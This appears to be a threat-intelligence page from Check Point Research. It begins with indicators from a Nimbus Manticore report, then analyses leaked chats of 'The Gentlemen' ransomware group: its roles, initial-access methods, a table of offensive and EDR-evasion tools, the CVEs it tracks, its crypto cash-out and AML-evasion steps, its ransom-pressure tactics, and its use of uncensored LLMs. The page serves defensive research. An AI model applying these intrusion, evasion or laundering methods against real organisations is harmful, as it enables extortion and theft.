332ba2f0297dfb1599adecc3e9067893e7cf243aa23aedce4906a4c480574c17
9e4a658e6d831c9e9bdfe11884a75b7c64812ed0a80e8495ddf6b316505acac1
43dc62cef52ebdd69e79f10015b3e13890f26c058325c0ff139c70f8d8eadcfa
8808c794c24367438f183e4be941876f1d3ecd0c8d2eb43b10d2380841d2283b
5c3362d20229597d11380f56d1f2eb39647fb6afad7be8392a7abcd18dff12f8
0291ef318576953f7f3fe287e7775ed1d7c3206119dc7b9cd6d85c02779e6e40
d4a7e9f107fe40c1a5d0139c6c6e25bf6bf57f61feff090bee28f476bb3cc3c2
38bd137c672bd58d08c4f0502f993a6561e2c3411773d1ae57ee0151a0a9d11d
f54cd38632ac9da3af3533ae93e92625cbcb04df521dbf1b6acfaa81218f9e8c
b19e06da580cf91691eda066ac9ee4b09c6e5dc26c367af12660fe1f9306eec4
9cf029daca89523d917dafed0568d11d00e45ec96b5b90b4a1f7fd4018c7da84
a13ba3c5aff46e9daf2d23df4b3e3d49dc7236c207c56f0a1433051f3450d441
dfa1e3137a032ee8561a1cd5e1a0f71a10bebb36aef7c336c878638a9c1239ee

Domains
business-startup[.]org
business-startup.azurewebsites[.]net
businessstartup.azurewebsites[.]net
buisness-centeral.azurewebsites[.]net
buisness-centeral-transportation.azurewebsites[.]net
buisness-centeral-transportation[.]com
licencemanagers.azurewebsites[.]net
licencesupporting.azurewebsites[.]net	
peerdistsvcmanagers.azurewebsites[.]net
nanomatrix.azurewebsites[.]net
PremierHealthAdvisory[.]com
PremierHealthAdvisory[.]azurewebsites.net
Premier-HealthAdvisory[.]azurewebsites.net
ramiltonsfinance[.]com
ramiltonsfinance.azurewebsites[.]net
ramiltons-finance.azurewebsites[.]net
globalitconsultants.azurewebsites[.]net
globalit-consultants.azurewebsites[.]net
global-it-consultants.azurewebsites[.]net
global-it-checkers.azurewebsites[.]net
global-it-checkbusiness.azurewebsites[.]net
global-check-itbusiness.azurewebsites[.]net
global-check-business-it.azurewebsites[.]net
globalbusiness-checkers-it.azurewebsites[.]net
getsqldeveloper[.]com

The post Fast and Furious – Nimbus Manticore Operations During the Iranian Conflict appeared first on Check Point Research.

  •  

Thus Spoke…The Gentlemen

Key Points

  • On May 4th, 2026, The Gentlemen RaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program.
  • The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073.
  • Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD.
  • Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy.
  • By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


Introduction

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates.

In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims.

During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims.

In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum.

The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations.


The Gentlemen RaaS Admin

The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator.

In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates.

Figure 1 — Zeta88 advertising The Gentlemen’s RaaS.

Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums.

Figure 2 — RaaS admin in underground forum.

The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator.

Figure 3 — Onion page TOX ID.

In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field.

Figure 4 — Image uploaded by RaaS admin.

In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective.

Figure 5 — Image uploaded by RaaS admin.

Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator.


RaaS Affiliates

Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal.

For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs.

15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A
98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB

There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples.

CmpID: 03860d116701cdc9d9bf9c45099bb3d3 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 11e7baca7e652995b2364fdab0d362b7 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2cd4eb358c45ca783a20ec854a5a860c TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2e5d1a352885a6efd84dbc0387cbc79e TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 3b7b4f2d33bdfb8a31b480d0eb2815cd TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4a94d2b730a5a63e6cd54a9b0bb4ea71 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4e0c37cbf4dde9683943c8a738e5b00a TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 51dec3e170f8a181cc9aea8dcc90c7ab TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 583fe1c1a39f6b873a5c0997bea1f657 TOX: 15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
CmpID: 697f182826495662427ca49edbb345fc TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 71d503709af88821c183a1d0b7ae06ec TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 721606b3659f2c2d80a196ed3cd60053 TOX: F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB
CmpID: 735069890a414869f0113de820ba9afb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 74ea100b581ec32ea6c2ac2a0030a9f6 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 776e86c13433747299a4e5f9f22e3415 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: 7aae8fd9187c88dd0292cce1abd050e2 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 82160a7da5fc4c935e6f48d38a5aaaa6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 893f735e9a8cc9814dc6eccd5579561c TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 8fceea4fd9ce32dd620ccd580297c7c5 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 92d8bd2a6ee7f6d5c84e037066ce0539 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: a023a6b15419600dc3f6b93e11761dfe TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: a73526d89e5fb7b57f50d8da340e53e9 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: abd11823ddcc3d746ad8621e677a93eb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b5b42ac289581b3387ebf120129a19a6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b68e019efb39b85f5a0326e22fd4498a TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: bc6b87c79bc71a78da623d031ec1a958 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: d75246d230f22b1da6bbf5fceeed2ef2 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: da9cff1b478b64d47b68d50330e96c60 TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: ead0d7a8ae0a6ffb7f0a5873fec4ff5e TOX: 88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A

Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


RaaS Leak

On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident.

Figure 6 — The Gentlemen RaaS post.

The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows.


Demanding ransom from a RaaS

On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin.

Figure 7 — Account selling The Gentlemen RaaS Data.

In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak.

Figure 8 — Partial leaks.

The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator.

Figure 9 — shadow file content.

The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts.

While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set.

Figure 10 — Full leaked data screenshot.


Roles & Structure

The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”).

Figure 11 — Image shared in the chats, zeta88 – Admin.

Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment.

Figure 12 — zeta88 locking message.

Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person.

Figure 13 — zeta88 – hastalamuerte message.

Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing.

Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp.

Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers.

Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion.

Figure 14 — Collaboration and profit sharing.

Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group.

Figure 15 — Organization diagram.


Operational workflow

The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network.

Figure 16 — Searching credentials & accounts.

After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries.

With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner.


Tools & Infra

The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments.

CategoryTool / ResourcePurpose / UsageReference / Notes
C2 / Remote AccessZeroPulseRemote access / C2 framework for controlling compromised hosts.https://github.com/jxroot/ZeroPulse
C2 / Remote AccessVelociraptorUsed as a covert C2 platform, including memory and LSASS dumping.Often used with signed builds to reduce detection.
C2 / Remote AccessCloudflare Zero Trust / TunnelsProvides stealthy tunnels into victim networks over HTTPS.Used together with custom VPN setups.
VPN / Network Accesswireguard-installAutomates WireGuard VPN deployment.https://github.com/angristan/wireguard-install
VPN / Network Accessopenvpn-installAutomates OpenVPN server setup.https://github.com/angristan/openvpn-install
VPN / Network AccessDouble-VPN-with-OpenVPNConfigures double‑layer OpenVPN routing.https://github.com/pizdatiigus/Double-VPN-with-OpenVPN
Offensive / Red‑TeamNetExec (NXC)Multi‑purpose offensive framework for AD, SMB, WinRM, and more.Internal usage guide via a shared NXC gist.
Offensive / Red‑TeamTaskHoundTask and privilege abuse / persistence helper.Used post‑exploitation.
Offensive / Red‑TeamPrivHoundIdentifies local privilege escalation paths and persistence opportunities.Integrates with BloodHound data.
Offensive / Red‑TeamRelayKing-DepthFinds and exploits NTLM relay paths across protocols.https://github.com/depthsecurity/RelayKing-Depth
Offensive / Red‑TeamCertiHoundEnumerates and detects ADCS misconfigurations (ESC1–ESC17).Used via NetExec integration.
Offensive / Red‑TeamTitanisOffensive tooling for Windows logging / ETW manipulation.https://github.com/trustedsec/Titanis
Offensive / Red‑TeamMANSPIDERSearches file shares for sensitive strings and documents.Used for locating valuable data.
Offensive / Red‑TeamPowerZureAbuses Azure / cloud misconfigurations.Used for cloud‑side access and escalation.
Offensive / Red‑TeamRegPwnRegistry‑based privilege escalation and service abuse.Often used for MSI service abuse.
Offensive / Red‑TeamKslDumpDumps Kerberos / LSASS‑related material.Used for credential theft.
Offensive / Red‑TeamKslKatzKerberos / LSASS post‑exploitation tool similar to credential dumpers.Complements KslDump.
EDR / AV EvasionEDRStartupHinderBlocks or delays EDR processes at startup.Based on the EDR-Startup-Process-Blocker concept.
EDR / AV EvasiongfreezePart of their EDR “killer” toolkit to hinder security products.Derived from EDR‑blocking research/code.
EDR / AV EvasionglinkerAnother component in their EDR evasion sets.Often grouped with gfreeze.
EDR / AV EvasionDumpBrowserSecretsDumps browser cookies and secrets for session hijacking.Used to reuse corporate web sessions.
EDR / AV Evasionzerosalarium ETW/log tricksPublic research they follow for ETW and log‑based EDR kill techniques.Multiple posts referenced for inspiration.
Infra / Scanninggogo.exeScanner for common ports and exposed services.Used in early discovery phases.
Infra / ScanningNXC usage gistInternal guide for effective NetExec usage.https://gist.github.com/gitgotgitgotit/81a578e065da1ccd8c81a8e90c309275
OSINT / Helper ToolsSputnik browser extensionOSINT aggregation extension to support recon.Helps enrich target information.
OSINT / Helper Toolschamd5.orgOnline password hash cracking service.Used for recovering cleartext passwords.
OSINT / Helper Toolshashcracking_botBot‑based password cracking service.Complements other cracking methods.

The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect.

Figure 17 — Code signing conversations.


AI mentions

The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented.

zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces.

Figure 18 — zeta88 “vibe-coded” the Panel.

Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries.

Figure 19 — AI preferences.

He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen.

Figure 20 — Chinese LLMs suggestions.

A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.”

Figure 21 — Qwen 3.5 post.

zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel.

Figure 22 — Usage of AI as quick reference.

For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.

Figure 23 — Local, self-hosted LLM.

Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups.

Figure 24 — Screenshot shared in the chats.

The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information.


CVEs and Exploits

While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced.

  • CVE-2024-55591 – FortiOS management interface

This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces.

Figure 25 — CVE-2024-55591, related message.
  • CVE-2025-32433 – Erlang SSH vulnerability (Cisco context)

In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit.

Figure 26 — qbit & zeta88 related posts.
  • CVE-2025-33073 – NTLM reflection / NTLM relay

qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows.

Figure 27 — Mention of CVE-2025-33073.
  • Other Exploit Paths (Without Explicit CVE IDs)

The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include:

  • MSI service abuse via RegPwn, used for privilege escalation.
  • Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure.
  • iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses.
  • WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries.


Payments & Negotiations

Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving.

Figure 28 — Transaction link shared.

The specific mentions of how they handle Bitcoin laundering/cash out:

  1. Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins.
  2. AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced.
  3. Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure.
  4. Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely.
  5. Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce.

Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand.

Figure 29 — Agreement to pay 190,000 USD.

zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim.

Figure 30 — Negotiation playbook.


Interesting Negotiation Case

In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed.

From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying.

Figure 31 — Ransom note.

Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance.

Figure 32 — Forti access to company in Turkey.

zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks.

Figure 33 — UK company containing information for Turkish company.

One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second.

The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom.

Figure 34 — DLS statement discussions.

This served a dual purpose:

  1. Punishing the consultancy (UK), which the actors described as “a very bad company.”
